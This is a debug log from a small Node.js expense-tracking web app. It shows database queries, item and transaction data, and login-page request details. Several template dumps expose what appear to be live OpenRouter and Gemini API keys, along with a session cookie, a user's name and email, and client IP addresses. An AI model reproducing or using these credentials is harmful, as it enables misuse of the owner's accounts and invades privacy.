2026-03-07T01:28:11.289Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T01:28:11.291Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-07T01:28:11.292Z server-connect:output restrict: undefined
2026-03-07T01:28:11.292Z server-connect:app Executing action step single
2026-03-07T01:28:11.292Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-07T01:28:11.293Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-07T01:28:11.294Z server-connect:output restrict: undefined
2026-03-07T01:28:11.294Z server-connect:app Executing action step paged
2026-03-07T01:28:11.294Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-07T01:28:11.295Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 0,
      debit: 25000,
      created_on: '2026-03-07T01:28:10.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 20000,
      debit: 0,
      created_on: '2026-03-06T16:36:36.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 21000,
      debit: 0,
      created_on: '2026-03-06T16:31:24.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 45000,
      debit: 0,
      created_on: '2026-02-26T18:30:49.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
2026-03-07T03:43:52.929Z server-connect:router Serving templateView /
2026-03-07T03:43:52.930Z server-connect:app Executing action step identify
2026-03-07T03:43:52.930Z server-connect:app options: { provider: 'security' }
2026-03-07T03:43:52.930Z server-connect:auth No login cookie found
2026-03-07T03:43:52.930Z server-connect:output identity: false
2026-03-07T03:43:52.930Z server-connect:app Executing action step restrict
2026-03-07T03:43:52.930Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-07T03:43:52.931Z server-connect:output restrict: undefined
2026-03-07T03:43:53.088Z server-connect:router Serving templateView /login
2026-03-07T03:43:53.088Z server-connect:app Executing action step identify
2026-03-07T03:43:53.088Z server-connect:app options: { provider: 'security' }
2026-03-07T03:43:53.089Z server-connect:auth No login cookie found
2026-03-07T03:43:53.089Z server-connect:output identity: false
2026-03-07T03:43:53.089Z server-connect:router Render template layouts/authentication
2026-03-07T03:43:53.089Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    accept: '*/*',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '104.168.28.15',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-08T03:43:53.088Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.168.28.15',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT: '*/*',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '104.168.28.15',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-07T04:55:14.095Z server-connect:router Serving templateView /
2026-03-07T04:55:14.097Z server-connect:app Executing action step identify
2026-03-07T04:55:14.097Z server-connect:app options: { provider: 'security' }
2026-03-07T04:55:14.097Z server-connect:auth No login cookie found
2026-03-07T04:55:14.097Z server-connect:output identity: false
2026-03-07T04:55:14.097Z server-connect:app Executing action step restrict
2026-03-07T04:55:14.097Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-07T04:55:14.097Z server-connect:output restrict: undefined
2026-03-07T04:55:14.484Z server-connect:router Serving templateView /login
2026-03-07T04:55:14.485Z server-connect:app Executing action step identify
2026-03-07T04:55:14.485Z server-connect:app options: { provider: 'security' }
2026-03-07T04:55:14.485Z server-connect:auth No login cookie found
2026-03-07T04:55:14.485Z server-connect:output identity: false
2026-03-07T04:55:14.485Z server-connect:router Render template layouts/authentication
2026-03-07T04:55:14.485Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.35',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-08T04:55:14.484Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.35',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.35',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-07 05:35:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-07 05:35:53' as DATETIME)"
}
2026-03-07T07:04:03.303Z server-connect:router Serving templateView /
2026-03-07T07:04:03.305Z server-connect:app Executing action step identify
2026-03-07T07:04:03.305Z server-connect:app options: { provider: 'security' }
2026-03-07T07:04:03.305Z server-connect:auth No login cookie found
2026-03-07T07:04:03.305Z server-connect:output identity: false
2026-03-07T07:04:03.305Z server-connect:app Executing action step restrict
2026-03-07T07:04:03.305Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-07T07:04:03.306Z server-connect:output restrict: undefined
2026-03-07T07:04:03.466Z server-connect:router Serving templateView /login
2026-03-07T07:04:03.467Z server-connect:app Executing action step identify
2026-03-07T07:04:03.467Z server-connect:app options: { provider: 'security' }
2026-03-07T07:04:03.467Z server-connect:auth No login cookie found
2026-03-07T07:04:03.467Z server-connect:output identity: false
2026-03-07T07:04:03.467Z server-connect:router Render template layouts/authentication
2026-03-07T07:04:03.467Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.141 Version/17.0 Mobile/15E148 Safari/604.1',
    'accept-language': 'en-US',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.34.253.205',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-08T07:04:03.466Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.34.253.205',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.141 Version/17.0 Mobile/15E148 Safari/604.1',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.34.253.205',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-07T09:25:24.936Z server-connect:router Serving templateView /
2026-03-07T09:25:24.936Z server-connect:app Executing action step identify
2026-03-07T09:25:24.936Z server-connect:app options: { provider: 'security' }
2026-03-07T09:25:24.937Z server-connect:output identity: 1
2026-03-07T09:25:24.937Z server-connect:app Executing action step restrict
2026-03-07T09:25:24.937Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-07T09:25:24.939Z server-connect:output restrict: undefined
2026-03-07T09:25:24.939Z server-connect:app Executing action step restrict
2026-03-07T09:25:24.939Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-07T09:25:24.939Z server-connect:output restrict: undefined
2026-03-07T09:25:24.940Z server-connect:router Render template layouts/main
2026-03-07T09:25:24.940Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'x-forwarded-for': '157.48.248.190',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-07T16:29:48.894Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.248.190',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
